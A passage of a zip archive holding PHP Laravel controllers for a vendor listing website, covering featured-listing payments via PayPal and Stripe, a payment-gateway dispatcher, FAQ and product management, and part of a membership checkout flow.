'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\''IHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/PayPalController.phpnu[first(); $paypalData = json_decode($data->information, true); $paypal_conf = Config::get('paypal'); $paypal_conf['client_id'] = $paypalData['client_id']; $paypal_conf['secret'] = $paypalData['client_secret']; $paypal_conf['settings']['mode'] = $paypalData['sandbox_status'] == 1 ? 'sandbox' : 'live'; $this->api_context = new ApiContext( new OAuthTokenCredential( $paypal_conf['client_id'], $paypal_conf['secret'] ) ); $this->api_context->setConfig($paypal_conf['settings']); } public function index(Request $request, $paymentFor) { $v = $request->charge; $charge = FeaturedListingCharge::find($v); $currencyInfo = $this->getCurrencyInfo(); // changing the currency before redirect to PayPal if ($currencyInfo->base_currency_text !== 'USD') { $rate = floatval($currencyInfo->base_currency_rate); $convertedTotal = $charge->price / $rate; } $paypalTotal = $currencyInfo->base_currency_text === 'USD' ? $charge->price : $convertedTotal; $title = 'Activation Feature'; $notifyURL = route('vendor.listing_management.listing.purchase_feature.paypal.notify'); $cancelURL = route('vendor.listing_management.listing'); $payer = new Payer(); $payer->setPaymentMethod('paypal'); $item_1 = new Item(); $item_1->setName($title) /** item name **/ ->setCurrency('USD') ->setQuantity(1) ->setPrice($paypalTotal); /** unit price **/ $item_list = new ItemList(); $item_list->setItems(array($item_1)); $amount = new Amount(); $amount->setCurrency('USD') ->setTotal($paypalTotal); $transaction = new Transaction(); $transaction->setAmount($amount) ->setItemList($item_list) ->setDescription($title . ' via PayPal'); $redirect_urls = new RedirectUrls(); $redirect_urls->setReturnUrl($notifyURL) /** Specify return URL **/ ->setCancelUrl($cancelURL); $payment = new Payment(); $payment->setIntent('Sale') ->setPayer($payer) ->setRedirectUrls($redirect_urls) ->setTransactions(array($transaction)); try { $payment->create($this->api_context); } catch (\PayPal\Exception\PPConnectionException $ex) { return redirect($cancelURL)->with('error', $ex->getMessage()); } foreach ($payment->getLinks() as $link) { if ($link->getRel() == 'approval_url') { $redirectURL = $link->getHref(); break; } } // put some data in session before redirect to paypal url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('paymentId', $payment->getId()); $request->session()->put('chargeId', $request->charge); $request->session()->put('listingId', $request->listing_id); if (isset($redirectURL)) { /** redirect to paypal **/ return Redirect::away($redirectURL); } } public function notify(Request $request) { $paymentId = $request->session()->get('paymentId'); $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); // get the information from session $urlInfo = $request->all(); /** Execute The Payment **/ $payment = Payment::get($paymentId, $this->api_context); $execution = new PaymentExecution(); $execution->setPayerId($urlInfo['PayerID']); $result = $payment->execute($execution, $this->api_context); if ($result->getState() == 'approved') { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Paypal"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Paypal", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\_DMRHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/PurchaseFeatureController.phpnu[ 'required', 'charge' => 'required', ]; $message = [ 'gateway.required' => 'The gateway field is required.', 'charge.required' => 'The charge field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } if (!$request->exists('gateway')) { $errorMessageKey = "select_payment_".$request->listing_id; Session::flash($errorMessageKey, 'Please select a payment method.'); return redirect()->back()->withInput(); } if (!$request->exists('charge')) { $errorMessageKey = "select_days_" . $request->listing_id; Session::flash($errorMessageKey, 'Please select promotion list.'); return redirect()->back()->withInput(); } if ($request['gateway'] == 'paypal') { $paypal = new PayPalController(); return $paypal->index($request, 'product purchase'); } else if ($request['gateway'] == 'instamojo') { $instamojo = new InstamojoController(); return $instamojo->index($request, 'product purchase'); } else if ($request['gateway'] == 'paystack') { $paystack = new PaystackController(); return $paystack->index($request, 'product purchase'); } else if ($request['gateway'] == 'flutterwave') { $flutterwave = new FlutterwaveController(); return $flutterwave->index($request, 'product purchase'); } else if ($request['gateway'] == 'razorpay') { $razorpay = new RazorpayController(); return $razorpay->index($request, 'product purchase'); } else if ($request['gateway'] == 'mercadopago') { $mercadopago = new MercadoPagoController(); return $mercadopago->index($request, 'product purchase'); } else if ($request['gateway'] == 'mollie') { $mollie = new MollieController(); return $mollie->index($request, 'product purchase'); } else if ($request['gateway'] == 'stripe') { $stripe = new StripeController(); return $stripe->index($request, 'product purchase'); } else if ($request['gateway'] == 'paytm') { $paytm = new PaytmController(); return $paytm->index($request, 'product purchase'); } else if ($request['gateway'] == 'authorize.net') { $author = new AuthorizeNetController(); return $author->index($request, 'product purchase'); } else { $offline = new OfflineController(); return $offline->index($request, 'product purchase'); } } public function sessionForget() { Session::forget('modalName'); Session::forget('featurePament'); } } PK(\!!IHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/StripeController.phpnu[ 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator)->withInput(); } // card validation end $charge = FeaturedListingCharge::find($request->charge); $currencyInfo = $this->getCurrencyInfo(); // changing the currency before redirect to Stripe if ($currencyInfo->base_currency_text !== 'USD') { $rate = floatval($currencyInfo->base_currency_rate); $convertedTotal = round(($charge->price / $rate), 2); } $stripeTotal = $currencyInfo->base_currency_text === 'USD' ? $charge->price : $convertedTotal; try { // initialize stripe $stripe = new Stripe(); $stripe = Stripe::make(Config::get('services.stripe.secret')); try { // generate charge $charge = $stripe->charges()->create([ 'source' => $request->stripeToken, 'currency' => 'USD', 'amount' => $stripeTotal ]); if ($charge['status'] == 'succeeded') { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($request->charge); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $request->listing_id)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $request->listing_id; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Stripe"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Stripe", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } catch (CardErrorException $e) { Session::flash('error', $e->getMessage()); Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } catch (UnauthorizedException $e) { Session::flash('error', $e->getMessage()); Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\AUU1Http/Controllers/Vendor/Listing/FaqController.phpnu[pluck('vendor_id')->first(); if ($vendor_id == Auth::guard('vendor')->user()->id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $permissions = faqPermission($id); if ($permissions) { if (is_null($request->language)) { $language = Language::where('is_default', 1)->first(); } else { $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); } $information['language'] = $language; $title = ListingContent::Where('listing_id', $id) ->where('language_id', $language->id) ->first(); $information['title'] = $title; $information['faqs'] = ListingFaq::Where('listing_id', $id) ->where('language_id', $language->id) ->orderByDesc('serial_number') ->get(); $information['langs'] = Language::all(); $information['listing_id'] = $id; $information['slug'] = ListingContent::where([['listing_id', $id], ['language_id', $language->id]])->pluck('slug')->first(); return view('vendors.listing.faq.index', $information); } else { Session::flash('warning', "Your FAQ Permission is not granted."); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'Please Buy a plan to manage faq!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'You dont have any permission!'); return redirect()->route('vendor.listing_management.listing'); } } public function store(Request $request) { $totalFaq = ListingFaq::where('listing_id', $request->listing_id) ->where('language_id', $request->language_id) ->count(); if ($totalFaq < packageTotalFaqs($request->listing_id)) { $rules = [ 'language_id' => 'required', 'question' => 'required', 'answer' => 'required', 'serial_number' => 'required' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } ListingFaq::query()->create($request->all()); Session::flash('success', 'New faq added successfully!'); return Response::json(['status' => 'success'], 200); } else { $V = "You can add only " . packageTotalFaqs($request->listing_id) . " FAQS."; Session::flash('warning', $V); return Response::json(['status' => 'success'], 200); } } public function update(Request $request) { $rules = [ 'question' => 'required', 'answer' => 'required', 'serial_number' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $faq = ListingFaq::query()->find($request->id); $faq->update($request->all()); Session::flash('success', 'FAQ updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $faq = ListingFaq::query()->find($id); $faq->delete(); return redirect()->back()->with('success', 'FAQ deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $faq = ListingFaq::query()->find($id); $faq->delete(); } Session::flash('success', 'FAQs deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\,:??5Http/Controllers/Vendor/Listing/ProductController.phpnu[pluck('vendor_id')->first(); if ($vendor_id == Auth::guard('vendor')->user()->id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $permissions = productPermission($id); if ($permissions) { $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $language_id = $language->id; $title = ListingContent::where([['language_id', $language_id], ['listing_id', $id]]) ->select('title', 'slug', 'listing_id') ->first(); $information['title'] = $title; $information['listing_id'] = $id; $information['listing_products'] = ListingProduct::with([ 'listing_product_content' => function ($q) use ($id) { $q->where('listing_id', $id); }, ]) ->where('listing_id', $id) ->where('listing_products.vendor_id', Auth::guard('vendor')->user()->id) ->orderBy('id', 'desc') ->paginate(10); return view('vendors.listing.product.index', $information); } else { Session::flash('warning', "Your Product Permission is not granted."); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'Please Buy a plan to manage products!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'You dont have any permission!'); return redirect()->route('vendor.listing_management.listing'); } } public function create($id) { $vendor_id = Listing::where('id', $id)->pluck('vendor_id')->first(); if ($vendor_id == Auth::guard('vendor')->user()->id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $permissions = productPermission($id); if ($permissions) { $information['listing_id'] = $id; $information['currencyInfo'] = $this->getCurrencyInfo(); $languages = Language::all(); $languages->map(function ($language) { $language['categories'] = $language->productCategory()->where('status', 1)->orderByDesc('id')->get(); }); $information['languages'] = $languages; return view('vendors.listing.product.create', $information); } else { Session::flash('warning', "Your Product Permission is not granted."); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'Please Buy a plan to create a product!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'You dont have any permission!'); return redirect()->route('vendor.listing_management.listing'); } } public function imagesstore(Request $request) { $img = $request->file('file'); $allowedExts = array('jpg', 'png', 'jpeg', 'svg', 'webp'); $rules = [ 'file' => [ function ($attribute, $value, $fail) use ($img, $allowedExts) { $ext = $img->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ] ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { $validator->getMessageBag()->add('error', 'true'); return response()->json($validator->errors()); } $filename = uniqid() . '.jpg'; $directory = public_path('assets/img/listing/product-gallery/'); @mkdir($directory, 0775, true); $img->move($directory, $filename); $pi = new ListingProductImage(); $pi->image = $filename; $pi->save(); return response()->json(['status' => 'success', 'file_id' => $pi->id]); } public function imagermv(Request $request) { $pi = ListingProductImage::findOrFail($request->fileid); $image_count = ListingProductImage::where('listing_product_id', $pi->listing_product_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing/product-gallery/') . $pi->image); $pi->delete(); return $pi->id; } else { return 'false'; } } public function imagedbrmv(Request $request) { $pi = ListingProductImage::findOrFail($request->fileid); $image_count = ListingProductImage::where('listing_product_id', $pi->listing_product_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing/product-gallery/') . $pi->image); $pi->delete(); Session::flash('success', 'Slider image deleted successfully!'); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', 'You can\'t delete all images.!!'); return Response::json(['status' => 'success'], 200); } } public function updateStatus(Request $request) { $listing = ListingProduct::findOrFail($request->productId); if ($request->status == 1) { $listing->update(['status' => 1]); Session::flash('success', 'Product Active successfully!'); } else { $listing->update(['status' => 0]); Session::flash('success', 'Product Deactive successfully!'); } return redirect()->back(); } public function store(ProductStoreRequest $request) { DB::transaction(function () use ($request) { $featuredImgURL = $request->feature_image; $languages = Language::all(); $in = $request->all(); $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/product/'); if (!file_exists($featuredDir)) { @mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); $in['feature_image'] = $featuredImgName; $listingProduct = ListingProduct::create($in); $siders = $request->slider_images; if ($siders) { $pis = ListingProductImage::findOrFail($siders); foreach ($pis as $key => $pi) { $pi->listing_product_id = $listingProduct->id; $pi->listing_id = $request->listing_id; $pi->save(); } } foreach ($languages as $language) { $listingProductContent = new ListingProductContent(); $listingProductContent->language_id = $language->id; $listingProductContent->listing_id = $request->listing_id; $listingProductContent->listing_product_id = $listingProduct->id; $listingProductContent->title = $request[$language->code . '_title']; $listingProductContent->slug = createSlug($request[$language->code . '_title']); $listingProductContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $listingProductContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingProductContent->meta_description = $request[$language->code . '_meta_description']; $listingProductContent->save(); } }); Session::flash('success', 'New Product added successfully!'); return Response::json(['status' => 'success'], 200); } public function edit($id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $Listin_id = ListingProduct::findOrFail($id)->listing_id; $permissions = productPermission($Listin_id); if ($permissions) { $listing = ListingProduct::with('galleries')->where('vendor_id', '=', Auth::guard('vendor')->user()->id)->findOrFail($id); $information['product'] = $listing; $information['product_id'] = $id; $information['languages'] = Language::all(); $information['vendors'] = Vendor::get(); $information['currencyInfo'] = $this->getCurrencyInfo(); return view('vendors.listing.product.edit', $information); } else { Session::flash('warning', "Your Product Permission is not granted."); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'Please Buy a plan to edit Product!'); return redirect()->route('vendor.listing_management.listing'); } } public function update(ProductUpdateRequest $request, $id) { $featuredImgURL = $request->thumbnail; $languages = Language::all(); $in = $request->all(); $listing = ListingProduct::findOrFail($request->product_id); if ($request->hasFile('thumbnail')) { $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/product/'); if (!file_exists($featuredDir)) { mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); @unlink(public_path('assets/img/listing/product/') . $listing->feature_image); $in['feature_image'] = $featuredImgName; } $listing = $listing->update($in); $siders = $request->slider_images; if ($siders) { $pis = ListingProductImage::findOrFail($siders); foreach ($pis as $key => $pi) { $pi->listing_product_id = $request->product_id; $pi->listing_id = $request->listing_id; $pi->save(); } } foreach ($languages as $language) { $listingProductContent = ListingProductContent::where('listing_product_id', $request->product_id)->where('language_id', $language->id)->first(); if (empty($listingProductContent)) { $listingProductContent = new ListingProductContent(); } $listingProductContent->language_id = $language->id; $listingProductContent->listing_id = $request->listing_id; // $listingProductContent->listing_product_id = $listingProduct->id; $listingProductContent->title = $request[$language->code . '_title']; $listingProductContent->slug = createSlug($request[$language->code . '_title']); $listingProductContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $listingProductContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingProductContent->meta_description = $request[$language->code . '_meta_description']; $listingProductContent->save(); } Session::flash('success', 'Product Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function delete($id) { $product = ListingProduct::findOrFail($id); // first, delete all the contents of this package $contents = $product->listing_product_content()->get(); foreach ($contents as $content) { $content->delete(); } if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } // first, delete all the contents of this package $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } $productMessages = ProductMessage::where('product_id', $id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } // finally, delete this package $product->delete(); Session::flash('success', 'Product deleted successfully!'); return redirect()->back(); } public function bulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $product = ListingProduct::findOrFail($id); // first, delete all the contents of this package $contents = $product->listing_product_content()->get(); foreach ($contents as $content) { $content->delete(); } if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } // first, delete all the contents of this package $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } $productMessages = ProductMessage::where('product_id', $id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } // finally, delete this package $product->delete(); } Session::flash('success', 'Listing deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\-|-Http/Controllers/Vendor/MAilSetController.phpnu[where('id', Auth::guard('vendor')->user()->id)->select('to_mail')->first(); return view('vendors.email.mail-to-admin', ['data' => $data]); } public function updateMailToAdmin(Request $request) { $rule = [ 'to_mail' => 'required' ]; $message = [ 'to_mail.required' => 'The mail address field is required.' ]; $validator = Validator::make($request->all(), $rule, $message); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('vendors')->where('id',Auth::guard('vendor')->user()->id)->update( ['to_mail' => $request->to_mail] ); Session::flash('success', 'Mail info updated successfully!'); return redirect()->back(); } } PK(\br&w<w<4Http/Controllers/Vendor/VendorCheckoutController.phpnu[pluck('name')->toArray(); $currentLang = session()->has('lang') ? (Language::where('code', session()->get('lang'))->first()) : (Language::where('is_default', 1)->first()); $bs = Basic::first(); $request['status'] = "1"; $request['receipt_name'] = null; $request['email'] = auth()->user()->email; Session::put('paymentFor', 'extend'); $title = "You are extending your membership"; $description = "Congratulation you are going to join our membership.Please make a payment for confirming your membership now!"; if ($request->price == 0) { $request['price'] = 0.00; $request['payment_method'] = "-"; $transaction_details = "Free"; $password = uniqid('qrcode'); $package = Package::find($request['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $vendor = $this->store($request->all(), $transaction_id, $transaction_details, $request['price'], $bs, $password); $subject = "You made your membership purchase successful"; $body = "You made a payment. This is a confirmation mail from us. Please see the invoice attachment below"; $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $file_name = $this->makeInvoice($request->all(), "extend", $vendor, $password, $request['price'], $request["payment_method"], $vendor->phone_number, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $this->sendMailWithPhpMailer($request->all(), $file_name, $bs, $subject, $body, $vendor->email, $vendor->first_name . ' ' . $vendor->last_name); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($request->payment_method == 'PayPal') { $amount = round(($request->price / $bs->base_currency_rate), 2); $paypal = new PaypalController; $cancel_url = route('membership.paypal.cancel'); $success_url = route('membership.paypal.success'); return $paypal->paymentProcess($request, $amount, $title, $success_url, $cancel_url); } elseif ($request->payment_method == 'Stripe') { $amount = round(($request->price / $bs->base_currency_rate), 2); $stripe = new StripeController(); $cancel_url = route('membership.stripe.cancel'); return $stripe->paymentProcess($request, $amount, $title, NULL, $cancel_url); } elseif ($request->payment_method == 'Paytm') { if ($bs->base_currency_text != 'INR') { session()->flash('warning', 'Only INR is supported currency for Paystack'); return back()->withInput($request->all()); } $amount = $request->price; $item_number = uniqid('paytm-') . time(); $callback_url = route('membership.paytm.status'); $paytm = new PaytmController(); return $paytm->paymentProcess($request, $amount, $item_number, $callback_url); } elseif ($request->payment_method == 'Paystack') { if ($bs->base_currency_text != "NGN") { session()->flash('warning', 'Only NGN is supported currency for Paystack'); return back()->withInput($request->all()); } $amount = $request->price * 100; $email = $request->email; $success_url = route('membership.paystack.success'); $payStack = new PaystackController(); return $payStack->paymentProcess($request, $amount, $email, $success_url, $bs); } elseif ($request->payment_method == 'Razorpay') { if ($bs->base_currency_text != "INR") { session()->flash('warning', $bs->base_currency_text . " is not allowed for Razorpay"); return back()->with($request->all()); } $amount = $request->price; $item_number = uniqid('razorpay-') . time(); $cancel_url = route('membership.razorpay.cancel'); $success_url = route('membership.razorpay.success'); $razorpay = new RazorpayController(); return $razorpay->paymentProcess($request, $amount, $item_number, $cancel_url, $success_url, $title, $description, $bs); } elseif ($request->payment_method == 'Instamojo') { if ($bs->base_currency_text != "INR") { session()->flash('warning', $bs->base_currency_text . " is not allowed for Instamojo"); return back()->withInput($request->all()); } if ($request->price < 9) { return redirect()->back()->with('error', 'Minimum 10 INR required for this payment gateway')->withInput($request->all()); } $amount = $request->price; $success_url = route('membership.instamojo.success'); $cancel_url = route('membership.instamojo.cancel'); $instaMojo = new InstamojoController(); return $instaMojo->paymentProcess($request, $amount, $success_url, $cancel_url, $title, $bs); } elseif ($request->payment_method == 'MercadoPago') { if ($bs->base_currency_text != "BRL") { session()->flash('warning', $bs->base_currency_text . " is not allowed for MercadoPago"); return back()->withInput($request->all()); } $amount = $request->price; $email = $request->email; $success_url = route('membership.mercadopago.success'); $cancel_url = route('membership.mercadopago.cancel'); $mercadopagoPayment = new MercadopagoController(); return $mercadopagoPayment->paymentProcess($request, $amount, $success_url, $cancel_url, $email, $title, $description, $bs); } elseif ($request->payment_method == 'Flutterwave') { $available_currency = array( 'BIF', 'CAD', 'CDF', 'CVE', 'EUR', 'GBP', 'GHS', 'GMD', 'GNF', 'KES', 'LRD', 'MWK', 'NGN', 'RWF', 'SLL', 'STD', 'TZS', 'UGX', 'USD', 'XAF', 'XOF', 'ZMK', 'ZMW', 'ZWD' ); if (!in_array($bs->base_currency_text, $available_currency)) { session()->flash('warning', $bs->base_currency_text . " is not allowed for Flutterwave."); return back()->withInput($request->all()); } $amount = $request->price; $email = $request->email; $item_number = uniqid('flutterwave-') . time(); $cancel_url = route('membership.flutterwave.cancel'); $success_url = route('membership.flutterwave.success'); $flutterWave = new FlutterWaveController(); return $flutterWave->paymentProcess($request, $amount, $email, $item_number, $success_url, $cancel_url, $bs); } elseif ($request->payment_method == 'Authorize.net') { $available_currency = array('USD', 'CAD', 'CHF', 'DKK', 'EUR', 'GBP', 'NOK', 'PLN', 'SEK', 'AUD', 'NZD'); if (!in_array($bs->base_currency_text, $available_currency)) { session()->flash('warning', $bs->base_currency_text . " is not allowed for Mollie"); return back()->withInput($request->all()); } $amount = $request->price; $success_url = route('membership.mollie.success'); $cancel_url = route('membership.anet.cancel'); $authorizePayment = new AuthorizeController(); return $authorizePayment->paymentProcess($request, $amount, 